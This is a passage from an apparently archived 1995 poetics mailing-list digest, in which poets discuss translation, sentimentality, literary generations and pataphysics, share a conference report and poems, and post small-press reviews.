world they make, that the butterfly strives through. I don't know. I don't know now whether to write this translation as a process work of reading, grounded on my assumption that it is impossible to stage it, because there isn't a mature audience, one that won't, as Lorca's introduction says, recoil or titter. What Aaron Shurin writes about is a private, rejected world of heroes, extraordinary courage, people made experts in sensitivity and powerful emotion. If I turned my translation into a book, it would be a process work, for other vanguardists to read and collaborate in - process as an act of community, not creating a process in *any* reader, but a communique between reader/writers who *are* in process already. The opening speech that I've already done was designed to intrigue, haunt and stir up; to unsettle. I can't see a way right now to do that with the whole play. For me, to make a product out of the Lorca would be to make something opaque yet compelling - which I could do out of the opening speech but not out of the play.

P.P.P.P.S AS I seem to be connecting translation with the questions of health and dis-ease, and also fortuitious, oracular, "coincidence", I'll mention too that I also found to hand a translation *from* English, of a far from publically canonical figure, the English poet Tom Raworth, by the French poet Pierre Alferi. This is in the bilingual pamphlet, _The Mosquito and the Moon_, by Tom Raworth, Ankle Press, 1994, available from 153 Gwydir Street, Cambridge - the publisher, Luke Youngman, is also on e-mail, and anyone who mails me I'll forward e-mail to him. The Mosquito and the Moon seems to me to be

partly about how, if you cannot maintain enough health, or you need a quicker cure because you can't afford to take time off work, you can't avoid hospitals and medical services, and you need in some way to surrender agency. Yet the extent and the quality of the surrender affects how the bones set, and the soul is affected. I quote the opening page:

c'est assez dur comme ca it is hard enough plus qu'une affaire de croyance not merely a matter of belief le bruit est un autre probleme noise is another problem de limiter encore continuing yet to confine le grand tas de depouilles the great heap of spoils tourne a gauche dans la boutique turn left through the shop ca cloche, une erreur de calcul something wrong, miscalculated demolit les cellules breaking cells completely mesurer n'est qu'un aspect measuring is an aspect survivre pour produire surviving to produce donner sur un chemin fini ending on a defined route dispose en anneau arranged in a ring petits trous ponctuels small localised holes de reflexion profonde of intellectual depth bariolee d'allusions heavily coloured by allusions conduisit la voiture au parking brought the car to the kerb parlant depuis un seuil speaking across a threshold des signes au fusain pointent charcoal marks indicate

pierre alferi tom raworth

I'll start by saying I think this is great translation, great bilingual work, where it is hard to see which is the original and which the translation, line by line, as each manages either a more simple plangency or a more haunting cadence of the "image"/"sense". Reading through the whole book I notice, not as an iron rule, that the more ironic and clipped the one side the more sobbing and heartwrenching the other. The subject matter is *always* heartwrenching, but Raworth's opening here (I think) is curt and almost spitting, where Alferi's column is more sonorous and like a stately threnody. Yet, on the next page, Raworth gets more sonorous and stately, Alferi gets more clipped (to my ear):

vers la tete du lit towards the front of the bed tragique mais respirant encore tragic but still breathing ils portent les anciennes they carry the old lettres couvrant des decennies letters running through decades trouvant l'experience affective find emotional experience pleine de mots filled with words porteurs d'aleas bearers of randomness heurtant et bousculant bumping and pushing des signes intimement connus intimately familiar signs

(It's like all these terms - lettres, mots, porteurs, connus - are familiarly treacherous to the wise French, language or person, yet freshly and surprisingly treacherous to the more trusting naif English).

Last reflections then (anyone still reading?): is it because both figures are currently non-canonical that the translator can be so equal with the poet, or should that be the mark of all translation - while the mark of all bad translation is that the original is like safe collateral to draw on, dead and still fetching a good price, a possession passed around but never understood, including by the translator, who doesn't wish to suggest to the reader that the canonical figure may ever have been *alive*, being treated as badly as the heroes of our day are being treated by most readers, while they promote bad contemporary writers in emulation of what they think the dead would have been to us now? Two, is using biography to translate both (an idea of) the person and the person's text *allowed* when the poets are contemporaries, have met each other, speak each other's languages, have seen each other perform at readings? Anyone who knows Tom at all knows that he has had many setbacks to his health and medical interventions of a crass sort - can one posit an Alferi showing he's taking the throwaway self-deprecations with the pain they hide, as the currently more healthy do with stricken loved ones? Certainly his care with mimicking Tom's reading style is amazing. I recommend one way of reading this translation is listen to anyone's recording of one of Tom's rapid-fire deliveries of his poems; Alferi has really *got* the overall rhythm of heavily stressing the opening word of a line then letting the cadence fall and quieten. The funny thing is that I'm not even sure that that *performance rhythm* of Tom's is *in* the English on the page; though it's something to keep in the ear if you go back to the books after hearing him, he has other rhythms on the page too, thought rhythms, paradoxes (what does a paradox *sound* like, say, in a score?). Pierre Alferi's translation is also thus, for me, a reading, a transcription foregrounding an aspect, so that one can go back to the Raworth and fold that back in. Reading the columns together, for me, is *like* reading Tom while hearing him, on tape, or at a reading, but not *set in time*, as that would be. Even if I lose all Tom's recordings, and can never find another, reading this bilingual edition will always galvanise my memory again. Maybe this is not translation. Maybe this is love not killing the author.

↑ Index

3. I.LIGHTMAN
writing about the body
Thu 1 Jun 1995

Hi POETICS people

I was sent the following poem backchannel after I posted a message about writing and the body, and absolutely love it, so obtained the writer's permission to forward it to the list. As I've said to the writer backchannel, this poem brilliantly outmanoeuvred my own message's attempt at critic's proscription: I

was teasing Jackson MacLow for using metaphors of penetration without really examining them, ie using them as realist transparent language, and called for a poetry questioning and denying itself metaphors of penetration; the poem I'm forwarding however does not deny itself metaphors of penetration, but uses them with an uncommon urgency and relish in an unexpected direction that just as or in fact more accurately does what I was hoping for. Sorry it's so late.
****

sonnets to bodily love

if my tongue were long enough
i'd let it drop down your throat
and push all the way to the inner
curl of your testicles, then
scoop it slowly around and up,
collecting all the warm bodies
of your insides in my tongue's
cradle, and draw it to my mouth
and swallow the life of you,
then i'd crawl my whole insides
into your waiting torso and remain
there, containing in my belly
your whole vitality, and
being the vitality of you.

or else i'd slip my two hands
under the invitations of your skin
and reach once more down this time
to the inside bottoms of your feet
to grasp the flesh and pull up
in a sacred rupture until your
body was all inside out, and then
i'd put my feet against the inside
flesh of yours and slowly mold
your skin to me like the visible
clay of love, pulling it right side
out again over the skin of me
so that not missing anything i'd be
inside the container of you.

"little nell"

↑ Index

4. Jordan Davis.
Sentimentality and contempt
Thu 1 Jun 1995

Ed Foster, and Poetics,

>Ed wrote:
What do we mean when we call someone's work sentimental? that it refers to that
which it does not/cannot contain. i.e., it lies.

Doesn't it limit poetry too much to give up lies? Was Blake telling the truth? Was Milton? Was Susan Howe? Was Ron Padgett? [Were poets only "containers" between Whitman and Stevens?] And what exactly did Jackson mean by "sentimental" when he said he stopped using a certain device because he found he was generating sentimental works? Is this from Hume, or James Whitcomb Riley?

Anyway, thanks, Ed, Dodie Bellamy, Carl Peters, Jim Rosenberg, Charles Alexander, Marisa Januzzi and Alan Sondheim, for talking a little bit about sentimentality.

I wonder if any so-called G2 writers could write something here about contempt and its uses in poetry. (G1 writers and others with special knowledge on the topic are also welcome to comment.)

Listening,
Jordan Davis

↑ Index

5. Tony Green
Re: Actually actual?
Thu 1 Jun 1995

The old Man etc.: Hassan is Abba(toir)

↑ Index

6. maria damon
Re: Sentimentality and contempt
Thu 1 Jun 1995

In message <[redacted]> UB Poetics discussion group
writes:
> Ed Foster, and Poetics,
>
> >Ed wrote:

> What do we mean when we call someone's work sentimental? that it refers to
> that
> which it does not/cannot contain. i.e., it lies.
>
> Doesn't it limit poetry too much to give up lies? Was Blake telling the
> truth? Was Milton? Was Susan Howe? Was Ron Padgett? [Were poets only
> "containers" between Whitman and Stevens?] And what exactly did Jackson
mean
> by "sentimental" when he said he stopped using a certain device because he
> found he was generating sentimental works? Is this from Hume, or James
> Whitcomb Riley?
>
> Anyway, thanks, Ed, Dodie Bellamy, Carl Peters, Jim Rosenberg, Charles
> Alexander, Marisa Januzzi and Alan Sondheim, for talking a little bit about
> sentimentality.
>
> I wonder if any so-called G2 writers could write something here about
> contempt and its uses in poetry. (G1 writers and others with special
> knowledge on the topic are also welcome to comment.)
>
> Listening,
> Jordan Davis

what's g1? what's g2? spicer cd be considered contemptuous, but it's an effect of his desire for authenticity. impatient may be a kinder word. there's a book called simply "Humiliation" by a medievalist at ? UWisc-Madison or Milwaukee? or is it UMich? that might have something to do with the micropolitics (social dynamics) of contempt...--maria

↑ Index

7. Mark Scroggins
Meet the G that killed me
Thu 1 Jun 1995

Maria: G1 & G2 are generational handles _someone_ on the list dreamed up to designate "older" & "younger" generation poets on the innovative side of the equation: G1--Bernstein, Silliman, Hejinian, Scalapino, Watten, usw. G2--Liz Willis, Juliana Spahr, Andy Levy, Melanie Nielsen, Jessica Grim,usw. Shorthand wd. say _In the American Tree_=G1 and the O-blek "New Coast" issue = G2. Gets kind of complicated when you have not-so-young poets emerging late--is Cecil Giscombe (say) G1 or 2? He's about the same age as Ted Pearson, but has only really hit the fan in the last five years or so (after many moons in the

vineyard of course). It all reminds me of the "Baby Boomer"/"Generation X" thing--Dad insists I'm a boomer, but is my only alternative to be a slacker?

Mark Scroggins

↑ Index

8. John Byrum

Re: art after art after art

Fri 2 Jun 1995

Dear Tony Green,

Thank you for your recent message. In 1979 I sat at my father's death bed. He couldn't speak. When I tried to give him an awkward kiss, our glasses collided. Then I left him and my mother to go back to work in another city several hundred miles away where I lived (and still do). Then he died and I wasn't there. Then I went back for the funeral. Now my mother is living in our city and has lost most of her memory. I take care of her as best I can.

Now also I am sitting at the death bed of my marriage, which my conflicted desires poisoned. It is hard to imagine ever feeling at peace again.

These are all real to me. Thanks for sharing your real.

Best to you all,

John Byrum

↑ Index

9. Ron Silliman

Re: thinking about translation

Fri 2 Jun 1995

Ira's wonderful post on translation reminded me of a story that Lydia Davis tells. When she was translating Sartre's Life/Situations, she brought the manuscript into the publisher in person (Viking? I forget). The receptionist buzzed her editor on the intercom and said,

"The typist is here."

Ron Silliman

[redacted]

↑ Index

10. H. T. KIRBY-SMITH

sentimentality

Fri 2 Jun 1995

Sentimentality consists of experiencing or evoking emotion for something which does not deserve the emotion.

Most commonly the inappropriate emotion is sympathetic to its object: pity, love, affection, admiration, adoration. But there are other kinds of sentimentality. For example, inappropriate kinds of emotion. Adoration of George Patton, for example, would seem to me sentimental (or worse). Admiration for certain traits in Patton, perhaps not. It also seems to me that a bug accidentally flushed down a toilet deserves a certain degree of sympathy, but protracted mourning would seem sentimental to me, not to say pathological.

There is also a kind of inverted sentimentality--a sentimentality of understatement. Hemingway tried so hard to be unsentimental that at times he is worse than the Poe of "Annabel Lee."

But there is an enormous problem in deciding what is sentimental and what is not, especially if we are not going to allow the cumulative wisdom and judgment of generations and multitudes of others to affect how we view things. For the Nazi camp guard, pity for a Jewish child was sentimentality. The Nazis didn't last long. I have several pairs of socks that have lasted twice as long as the Third Reich did. Unsound judgments about human things, though they can always recur, tend not to hold up very well, especially when they are shared only by groups or persons who consider themselves specially elected and chosen--set above or apart from other human beings. In such a context contempt for everything beyond the pale is concomitant with sentimental adulation.

Catullus's poem about the death of his girl friend's pet bird balances a delicate cynicism against the intrinsic sentimentality of its subject. Even the monks through whose hands the manuscripts passed must have liked the poem, and people still read it. It escapes sentimentality. Boorish and ill-tempered readers, of course, can find reasons to dislike almost anything.

Williams's famous plums are full of affection, both for the plums and for Floss. Crabby people might find his poem sentimental. But people go on reading and liking that poem.

For really bad sentimental poetry, take a look at a lot of what Yeats included in the 1936 OXFORD BOOK OF MODERN POETRY.

It is common to say of someone, "She (usually he) is a terrible poet but a great anthologist (editor)," and I suppose the reverse can be true, too.

Tom Kirby-Smith

↑ Index

11. Chris Stroffolino
Re: Meet the G that killed me
Fri 2 Jun 1995

It's interesting that scroggins names as g2ers the most derivative poets of the gi styles in the New Coast anthology....just an onservation (i mean observation)....

↑ Index

12. I.LIGHTMAN
Re: thinking about translation
Fri 2 Jun 1995

Thanks for the message, Ron

↑ Index

13. I.LIGHTMAN
Re: thinking about translation
Fri 2 Jun 1995

Oh, I was signed off the list for a while, then got to look through the May digest just now, and saw the questions about "sweet fumes of grass" in the Lorca. Hur hur, that was cool, seems to be the tone. Lorca has words to the effect "perfume of the grass", but I wanted to include a contemporary allusion (as I explained in my long note yesterday), in order to characterise another kind of mindless pleasure community, as mindless as a straight community that has a "natural love, only concerned with how to love". A kind of pastoral stupidity in an urban community. Having said which, I emphasise that I say it all with Lorca's own sense of love - that mindless pleasure is not easily dismissed, but nor are the arguments against it. I do hate drugs myself, though, and my Lorca would consider them an enemy of poetry, the way they're normally done,

Ira

↑ Index

14. Ryan Knighton
Re: Meet the G that killed me
Fri 2 Jun 1995

Well, according to one writer on this list, those of us in our early twenties (hi lindz) aren't quite developed enough to be a generation. We're merely "Tads", which is an ol' guy term, i suppose. Mind you, he says things like "hou's your ol' straw hat " too. Now there's a reason for feeling the anxiety of influence.

By the by, some of us tads would like to know what "pataphysical" means.

Ryan

(p.s. if anyone is in vancouver after the Blaser conference or is here anyway, Lindz and I are reading at the Vancouver Press Club on June 14--you can backchannel me for more info if it tickles your fancy)

↑ Index

15. Ryan Knighton
Re: sentimentality
Fri 2 Jun 1995

It seems to me that this issue of sentimentality has everything to do with the hallmark discussion which floated around this list when I first signed on. I think the sentimentality being picked on here is tha hallmark of hallmark. But what about sentimentality in music or painting? Is it less problematic then? I find whitman extremely sentimental, but it works for me. Same with Vivaldi. I think Nichol tried to publish poetry's obituary in the Toronto Star (?), which is very touching. So, i suppose my question really is are we quick to think of sentimentality as graceless because it is more common to the grocery store library?

↑ Index

16. Edward Foster
Re: Sentimentality and contempt
Fri 2 Jun 1995

---

jordan, you miss the point, i think. there's no reason not to work from/with lies, but there's all the difference between that and the work that insists that it contains x and in fact only refers to it. and that's not poetry but rhetoric.

↑ Index

17. Robert Drake
Re: Meet the G that killed me
Fri 2 Jun 1995

> *some of us tads would like to know what "pataphysical" means...*

a term coined by Alfred Jarry in _Ubu Roi_, originally being
a transrational system in which opposites are seen as neither
contradicting each other nor resolving, but as coexisting as
an open-ended, continually variable system, irrational and
energy-producing...
carried forward by the "college de 'pataphysicque", whose
"members" included Raymond Queneau, who later was associated
w/ OuLiPo...
(this lifted & badly paraphrased frm the introduction to
Pataphysical Poems by Queneau, translated by Teo Savory)

cheers
lbd

↑ Index

18. Lindz Williamson
Re: Meet the G that killed me
Fri 2 Jun 1995

On Fri, 2 Jun 1995, Ryan Knighton wrote:

> Well, according to one writer on this list, those of us in our early
> twenties (hi lindz) aren't quite developed enough to be a generation.
> We're merely "Tads", which is an ol' guy term, i suppose. Mind you,
> he says things like "hou's your ol' straw hat " too. Now there's
> a reason for feeling the anxiety of influence.
>
> By the by, some of us tads would like to know what "pataphysical" means.
>
> Ryan
>

I too was offended by the bubblegum attack on our generation, but I've
been too tired and lacking wit to reply. I guess its partly that I lack
a work ethic that some of our seniors have had installed in them when they
were tads. I'm also bored with defending our generation, I'm painfully
aware that everything has been done before.

I'm a lyrical vulture,
A scavenger of verse.

I don't pick bones,
I pick words.

Ryan, thanks for the free pubilicity, see you at the reading on Sunday.

I hope Bowering is feeling (seeing) better.

Lindz

↑ Index

19. Chris Stroffolino
Re: sentimentality
Fri 2 Jun 1995

"Sentimentality is a failure of feeling"--Stevens

↑ Index

20. Carl Lynden Peters
Re: Meet the G that killed me
Fri 2 Jun 1995

> *On Fri, 2 Jun 1995, Ryan Knighton wrote:*
>
> *Well, according to one writer on this list, those of us in our early twenties (hi lindz) aren't quite developed enough to be a generation. We're merely "Tads", which is an ol' guy term, i suppose. Mind you, he says things like "hou's your ol' straw hat " too. Now there's a reason for feeling the anxiety of influence.*
>
> *By the by, some of us tads would like to know what "pataphysical" means.*
>
> *Ryan*
>
> *I too was offended by the bubblegum attack on our generation, but I've been too tired and lacking wit to reply. I guess its partly that I lack a work ethic that some of our seniors have had installed in them when they were tads. I'm also bored with defending our generation, I'm painfully aware that everything has been done before.*
>
> *I'm a lyrical vulture,*
> *A scavenger of verse.*
> *I don't pick bones,*
> *I pick words.*

> *Ryan, thanks for the free pubilicity, see you at the reading on Sunday.*
>
> *I hope Bowering is feeling (seeing) better.*
>
> *Lindz*

hell, anything they can -- we can do better!
c

↑ Index

21. John Byrum
Re: Meet the G that killed me
Sat 3 Jun 1995

In a recent post, Ryan Knighton asked what pataphysical means. It means if you can pat it, its physical.

John

↑ Index

22. maria damon
Re: Meet the G that killed me
Sat 3 Jun 1995

In message <[redacted]> UB Poetics discussion group
writes:
> >
> > On Fri, 2 Jun 1995, Ryan Knighton wrote:
> >
> > > Well, according to one writer on this list, those of us in our early
> > > twenties (hi lindz) aren't quite developed enough to be a generation.
> > > We're merely "Tads", which is an ol' guy term, i suppose. Mind you,
> > > he says things like "hou's your ol' straw hat " too. Now there's
> > > a reason for feeling the anxiety of influence.
> > >
> > > By the by, some of us tads would like to know what "pataphysical"
means.
> > >
> > > Ryan
> > >
> > I too was offended by the bubblegum attack on our generation, but I've
> > been too tired and lacking wit to reply. I guess its partly that I lack

> > a work ethic that some of our seniors have had installed in them when they
> > were tads. I'm also bored with defending our generation, I'm painfully
> > aware that everything has been done before.
> >
> >
> >
> > I'm a lyrical vulture,
> > A scavenger of verse.
> > I don't pick bones,
> > I pick words.
> >
> >
> > Ryan, thanks for the free pubilicity, see you at the reading on Sunday.
> >
> > I hope Bowering is feeling (seeing) better.
> >
> >
> >
> > Lindz
> >
>
>
> hell, anything they can -- we can do better!
> c

come on guys, chill in this generational warfare, i certainly can't tell what age anyone is from their posts (except, i must say, lindz, when you got into the i'm white and sick of kissing ass routine --that sounded kinda young, too much like my students resentful of their compulsory "cultural pluralism" classes) --many of us 30 and 40 somethings never developed a work ethic either --which is why we have teaching positions that allow us to play around on the e-nets provided by our employers.--md

↑ Index

23. Carl Lynden Peters

Rothenberg's Gematria

Sat 3 Jun 1995

--picked this up at the blaser fest. what a wonder-full bk! --gematria as concrete poetry! --just a thot...

interesting, tho: my receipt -- the invoice they gave me when i bought the book is number "33" -- christ's age when he was crucified. my bill came to $26.43: that works out to 6

33 works out to 6; hence: with that other 6 i get: 66

so my invoice as ready-made, comprised of both sacred and profane aspects

Donne
Donn e
Donne
Donn e
Donne
Donn e
Donne

c

↑ Index

24. H. T. KIRBY-SMITH
pataphysics
Sat 3 Jun 1995

If I remember correctly one of the arguments of pataphysics was that to have a body was a good thing because if you have a body you can wear clothes, and clothes have pockets, and pockets are extremely useful. I believe that was a contention of Doctor Faustroll, Jarry's Professor of Pataphysics, whose eyeballs were vessels of India ink in which swam golden spermatozoans.

Merdre!

Tom Kirby-Smith

↑ Index

25. braman sandra
missing mail
Sat 3 Jun 1995

Poetics List -- Just back from several weeks out of the country to find that weeks of my e-mail have disappeared (from about May 10 to the end of May). I'm sorry to have missed the poetics discussions -- but if there's anyone out there who sent a personal message, please resend. Sandra Braman [redacted]

↑ Index

26. Edward Foster
Re: sentimentality
Sat 3 Jun 1995

there are two very distinct definitions of "sentimentality" floating here: the hallmark variety, which is the conventional, more limited use of the word, and the eighteenth-century's distinction, which is close to 60's discussions of authenticity.

↑ Index

27. maria damon
speaking of blaser conf.
Sat 3 Jun 1995

speaking of the blaser conference, cd someone --or several of you --so we can compile a composite profile --give us a report over the net for those of us who are interested but unable to attend? hi pts, lo pts, entertaining anecdotes, and overall vibe-picture? how's he doing anyway? descriptions, poems, riffs, meditations and reminiscences? thanks in advance! --maria d

↑ Index

28. Ryan Knighton
Re: Meet the G that killed me
Sat 3 Jun 1995

I originally asumed it had something to do with my dad getting a check-up (cymbal clash please)

John B. wrote:
>
> In a recent post, Ryan Knighton asked what pataphysical means. It means if
> you can pat it, its physical.
>
> John
>

↑ Index

29. Ryan Knighton
Re: Meet the G that killed me
Sat 3 Jun 1995

Maria daemon:

I can't speak fo rLindz or Carl, but I didn't mean to pitch a post about "generational warfare". I still can't figure out which one is mine.

↑ Index

30. Lindz Williamson
Re: Meet the G that killed me
Sat 3 Jun 1995

On Sat, 3 Jun 1995, Ryan Knighton wrote:

>
> I can't speak fo rLindz or Carl, but I didn't mean to pitch a post
> about "generational warfare". I still can't figure out which one is mine.
>
My intention isn't warfare either, just mild reactive annoyance. And ryan
it seems to me that you straddle genertions.

And on the "apology" thing that stirred up so much hot water awhile ago I have had some new experiences. I recently spent several hours at Chicago airport and was amazed that every worker in the service industry was of a non-white ethnic background. This is something I had never experience before as the tertiary economy is the basis of most economic activity in Vancouver. I'm used to a melting pot, where I work seven different languages are being spoken at all times. Race or ethnic background has never inhibited anyone that I know from moving up in the world, but obviously that is not the case elsewhere. Therefore my rant was more self indulgent than analytical of a whole system.

Lindz

↑ Index

31. Robert Drake
articles of (praps) interest in jPMC
Sun 4 Jun 1995

---

saw a coupla pieces in the latest jrnl of postmodern culture that might be of interest to folks here; & so this forward of abstracts & instructions...

lbd

POSTMODERNCULTUREPOSTMODERNCULTURE P RNCU REPO ODER E P O S T M O D E R N P TMOD RNCU U EP S ODER ULTU E C U L T U R E P RNCU UR OS ODER ULTURE P TMODERNCU UREPOS ODER ULTU E an electronic journal P TMODERNCU UREPOS ODER E of interdisciplinary POSTMODERNCULTUREPOSTMODERNCULTURE criticism

---------- Volume 5, Number 3 (May, 1995)
ISSN: 1053-1920 ----------

ABSTRACTS

Paul Naylor, "The 'Mired Sublime' of Nathaniel Mackey's _Song of the Andoumboulou_"

ABSTRACT: This essay situates Nathaniel Mackey's ongoing serial poem, _Song of the Andoumboulou_, in the tradition of the American "world-poem" begun in _The Cantos_ of Ezra pound and continued in Louis Zukofsky's _A_, H.D.'s _Trilogy_, and Robert Duncan's _Passages_. Each of these works, in their own distinct way, holds out the possibility of a utopian vision created in and by poetry. Yet these previous instances of the world-poem often have the unfortunate effects of reducing cultural diversity to a transcendent sameness in the service of an all-encompassing view of world history, in effect all too evident in parts of _The Cantos_. Mackey's _Song of the Andoumboulou_ not only extends the genre's range of cultural references by bringing together the traditions of African-American music, Caribbean and Arabic poetry, and West African mythology, among others, with the Western traditions of philosophy, poetry, and music; it also attempts to cure us of the desire to reduce the representation of diversity and difference to the kind of all-encompassing sameness that compromises some of the initial instances of the American world-poem. --PN

Elisabeth A. Frost, "Signifyin(g) on Stein: The Revisionist Poetics of Harryette Mullen and Leslie Scalapino

ABSTRACT: This article takes Stein as one (if not the only) source for feminist avant-garde poetry--writing that uses experimental language to distinctly feminist ends. A number of recent feminist poets owe a debt to _Tender Buttons_, and Stein's work remains a subject of homage. But, changes working their way through feminist thought appear in some feminist avant-garde writing that doesn't simply acknowledge Stein's language experiments but contests them as well. I examine the influence of, and divergence from, Steinian poetics in Harryette Mullen and Stein's "modern" vision by merging "public" speech and

"private" experience--the language of the public spheres of the street and the marketplace with the experiences of intimacy and the erotic. Mullen and Scalapino blur the border between public and private discourse that Stein relied upon in order to reveal (and, paradoxically, *not* reveal) her lesbian sexuality in a revolution of ordinary domestic language. In response in part to Stein, each poet illuminates language as a locus of the political and the erotic, altering both eroticized and "public" language as signs of a culture in need of a fundamental awareness about the relationships between our most private and public acts.
--EF

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Once you've connected, you will find all back issues arranged by volume and issue, but also arranged by category (all the reviews, all the popular culture columns, all the creative works, etc.).

↑ Index

32. Carl Lynden Peters
"*pataphysics*
Sun 4 Jun 1995

additional note to ryan re "pataphysics: --be interested in hearing what you think abt bp's essay: "The Pata of Letter Feet, or, The English Written Character as a Medium for Poetry" (_open letter_1985 [or 86?]), which i consider the best and most direct article on the subject. mccaffery, at the blaser conference yesterday, was introduced as north america's leading "pataphysician [the word is supposed to be written with the double _"_ in front of the p, and left open], but i disagree with that completely. north america's leading, most outstanding, poet of this other dimension is _bpNichol_ -- but you knew i was going to say that...

...the blaser fest was outstanding. i'm exhausted!

take care,
c

↑ Index

33. Sheila E. Murphy
Re: sentimentality
Mon 5 Jun 1995

I liked what you said, Ira, concerning the Britten experience. And am reminded that the construct of an audience is putty in the hands (that is, a laboratory) of/for anyone wanting to play the buttons, construct an imagined harmony that matches something sought in mind. Pseudo "faiths" seem to grow out of an assemblage of people. In which reacting to this or that would be to violate the "agreed upon" (although it's really forced) the reigning sentiment. Overall, sentimentality is a cheap replacement for honesty. Something truly felt tends to be individual. It would be too coincidental for hoards of people to feel in unison; my own feelings seem so specific (It would be hypocrisy for me to presume to presume use of the plural!).

A side note: isn't it frustrating when the textual component is there to prop up or otherwise not disturb a centrally musical event?

Happy Monday!

Sheila

↑ Index

34. **I.LIGHTMAN**
sentimentality
Mon 5 Jun 1995

I saw Benjamin Britten's _War Requiem_ this weekend, and it seemed to me to be a sentimental *event*. Some lovely atonal music, and some lovely vocal arrangments, but the atheism in Britten seemed puerile, the parts mimicking the sound of war excruciating, and above all, the dumbheaded applause - as if here we are attending a piece of work that has to thoroughly and cathartically (and popularly) tackled war that there will never be war again, ho ho. People clapping themselves for coming. No room for saying, I liked that bit, but I didn't like this bit, because that would be to be pro-war, to make a technical criticism of a piece that is anti-war. And what I would say was sentimental was the way that, as a narrative, a kind of modernist opera rather than a collection of songs, the piece did nothing to attack British culture, and actually revelled in the possibility of *emotional release only in extremity* (you can care, and love, in warfare); having said that, it is the *framing* which I find sentimental, the actual moments of release were often gorgeous, and I would happily make myself a tape of my favourite bits and play them out of context. I spoke to several music students who didn't care about the overall framing, don't have any feel for musical narratives, but just see the narrative as an arbitrary structure for some lovely music. I think that attitude is sentimental, and that actually most of these music students are profoundly conservative and reactionary politically, and happy to be British. On the other hand, maybe someone was there who would have been frightened off if the piece had been more holistically exciting and challenging (it sets Wilfred Owen's poetry, which I think is often also enjoyed sentimentally and not holistically); maybe that person is now "sentimental* but got off on the "non-sentimental* fragments, would have been frightened off *if* the whole piece had been "non-sentimental*

ie maybe sentimentality exists in time, as part of process; or maybe a person might attend "sentimental" art and live a non-sentimental life, so is the art sentimental?

Ira

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35. **I.LIGHTMAN**
I wannabe a G1-abee
Mon 5 Jun 1995

As Ron Silliman says in the introduction to In The American Tree, one will often find that the younger poets are often truer to the theory of earlier practitioners than the earlier (now older) practitioners is; one will find too that one of the

most exciting thing about the Language Writers was that they went back to the last two turning points, of projective verse and modernism, and included back in all the things the prjectivists and modernists left out, like stein and the futurists. As Ron also said, generations tend to pull in the more marginal figures from an older group and make them central ancestors; he also said that generations tend to hit a critical mass; I, for one, see this happening and would be happy to put a list of ten names in a sealed envelope to be opened in ten years' time when they've all redrawn the map. Anyway, a decent open interest and respect for each other would be healthy, especially since, as I for one have said before, it sticks in the craw to be told that us poets in our twenties are doing work derivative of others, only nostalgic and plagiaristic, when that is very clearly what many from G1 have been doing for ten years! At least our work is going to change!

Ira

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36. I.LIGHTMAN
Re: sentimentality
Mon 5 Jun 1995

Thanks for what you posted, Sheila. Is it a pop vs classical thing, I wonder... er, no, I answer myself, but the sweeping statement says something: like the way I've never been to a Dylan concert that wasn't totally exciting *for nearly everyone in the room* for a few minutes, part of a song, or a whole song. And, of course, being a fan of a new band and seeing them when they're fresh, tends to unite the room in a way that's not phony. Or (but this is where the pop vs classical thing breaks down) being at a new composition by a groundbreaker, like maybe at a New Music concert in the fifties, or at a Judith Weir concert when she was just starting - when you know the normal classical audience is going to hate it (though they'll later swallow and assimilate it). My flatmate, Mike Higgins, does this pieces with two or three sustained chords filling the room, and they always unite everyone who goes - it's so strong an experience, requiring such endurance (for maybe an hour), that you bump into another of the, usually no more than forty-strong, audience, and you kind of feel like you've shared a big experience. I also went to the Beethoven symphony that was written after Napoleon's return(?) at the same cathedral where the Britten was played, and it *did* seem to be about war and excite the audience, and yet the Beethoven didn't seem as sentimental as the Britten was. I'd love to know the specific examples you were thinking of, of words being used incidentally to the music. Mike says, after living with me, he's really embarrassed by all the titles he used to give to his pieces! I was commissioned to write words for an electro-acoustic piece by a friend here, and I wanted to

get past the usual "musician's use of words, which for me was either didactic romanticism, like Owen, or fragmentary modernism, using words for the sound but in a really word-hating "words can't move one like music" kind of way.... So I wrote something, as asked, with lots of onomatopeia, but threaded them slyly into a Basil Bunting-like narrative.

Ira

↑ Index

37. Lindz Williamson
adios muchachos
Mon 5 Jun 1995

Went to the last reading of the conference last night, Bowering was his usual "kid in a candy store" charming, Ondaatje was enthralling, and here's to Sharon Thesen's latest work *Aurora*, everyone must get this book.

I'm running out of email time so I have to combine messages.

Kevin Ryan, passed on the message, sorry I didn't meet you, but I'll see what I can put together. He tells me you don't get enough Canadian stuff and we'll be pleased to supply, but not represent the whole as the Conference was a "western" affair. Lots of Toronto bashing was in the air.

Chris S.

GOt the book today, I'll get back to you after I have a chance to look at it for a bit.

Welcome home to everyone else, it will be good to get some action on the line again.

Lindz

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38. Ryan Knighton
Kevin or Dodie
Mon 5 Jun 1995

Hi.
It was wonderful to have finally met some efaces.
I said i would send some schtuff to you, however Mirage
doesn't have an address.
Could you forward me one?

You can backchannel me at [redacted]

Best,
Ryan

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39. Charles Alexander
Re: adios muchachos
Mon 5 Jun 1995

Thanks, Lindz, for agreeing to supply "canadian stuff" to Ryan and others of us who might want it. I was particularly glad to hear your enthusiasm for Sharon Thesen's book, as I've always found her work courageous and dynamic, altogether its own, and altogether unknown any place I've lived.

But when you say, "He tells me you don't get enough Canadian stuff and we'll be pleased to supply, but not represent the whole as the Conference was a "western" affair. Lots of Toronto bashing was in the air." -- I'm not certain what you mean, or if you are just replying to Ryan in some personal way I don't get. Just know that not all tuned to this list have loyalties to Toronto or Vancouver or Buffalo or any particular place. My own are curiously displaced toward the Arizona desert, where there are a few people who are on this poetics list as well.

charles

charles alexander
chax press
minnesota center for book arts
phone & fax: [redacted]
e-mail: [redacted]

↑ Index

40. Carl Lynden Peters
message fr criss cheek
Mon 5 Jun 1995

---

cris, hi: are you out there? --just wanted to know if you received my last post re the visual poetries loop? experiencing some challenges here trying to work the cc and alias functions, and understand there are some alternatives which we could discuss

look forward to hearing from you,
carl

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41. Loss Glazier
Poetics List Reviews
Mon 5 Jun 1995

Poetics List Reviews
from Loss Glazier

Charles Bernstein, _The Subject_. 1995.

Handsomely-produced booklet from Meow Press containing the libretto of _The Subject_ from a scenario conceived with Ben Yarmolinski and as produced in NYC in 1992.

> But a person who calls himself a psychologist
> is in a peculiar position these days. Experiments
> show that Norway rats
> die quickly if their whiskers are clipped
> and they are thrown into
> tanks of water.

This libretto now in print. Edition of 300, available from SPD.

Kenneth Sherwood, _Text Squared_. 1995.

A tactile relation to the text as this book unfolds into juxtaposed folds. To a pattern of textual variants and overstrikes and pattern: "loosened there began to try save words bring back to turn there is nothing more in beginning than say return seems less..." Edition of 100, a Tailspin Chapbook, where the writer is sculptor. ----------

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42. George Bowering
